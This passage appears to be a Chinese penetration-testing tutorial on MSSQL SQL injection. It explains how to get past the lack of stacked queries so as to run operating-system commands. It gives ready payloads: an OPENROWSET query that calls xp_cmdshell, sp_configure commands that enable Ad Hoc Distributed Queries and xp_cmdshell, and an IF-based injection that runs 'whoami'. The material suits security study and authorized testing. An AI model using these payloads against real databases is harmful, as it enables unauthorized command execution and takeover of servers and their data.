使用 openrowset
這是網上流傳比較廣的一種,使用 openrowset 來執行,突破不能堆疊的限制,語法格式如下:
OPENROWSET
( { 'provider_name'
, { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
, { <table_or_view> | 'query' }
| BULK 'data_file' ,
{ FORMATFILE = 'format_file_path' [ <bulk_options> ]
| SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )
payload
select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set
fmtonly off
exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')
在平常滲透測試中,這個技巧更多的時候用在切換高權限用戶的時候,在 sqlmap\data\procs\mssqlserver
下的 run_statement_as_user.sql
中,我們可以看到常用的 payload
但是該方法在實際的運用中局限性還是很大的,因為在 mssql2005 及其以后,mssql對系統存儲過程做了權限控制,Ad Hoc Distributed Queries
組件默認是不被啟用的。
- 開啟 Ad Hoc Distributed Queries 組件
exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
- 關閉 Ad Hoc Distributed Queries 組件
exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
- 查看是否開啟相關存儲
select name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'
select name,value_in_use from sys.configurations where name like '%cmdshell%'
開啟后再來執行執行可以看到順利執行了。
使用 exec\execute
因為 方法1 的局限性太大了,翻了半天資料沒有找到相應的方法,只能自己動手。在同事@子雲爸爸
的幫助下,終於瞎幾把摸索出一個新的方式去突破無法堆疊的問題。
那么 exec 真的需要多句才能執行嗎?
,來直接看 payload
吧
if
語句的表達式如下,也就是說,我們是可以借助 if
來執行 sql_statement
,那么只要你能在你的注入點構造一個 if
出來,不需要環境支持堆疊也可以達到堆疊的效果。
IF Boolean_expression
{ sql_statement | statement_block }
[ ELSE
{ sql_statement | statement_block } ]
完整的 payload
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'',
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''whoami''');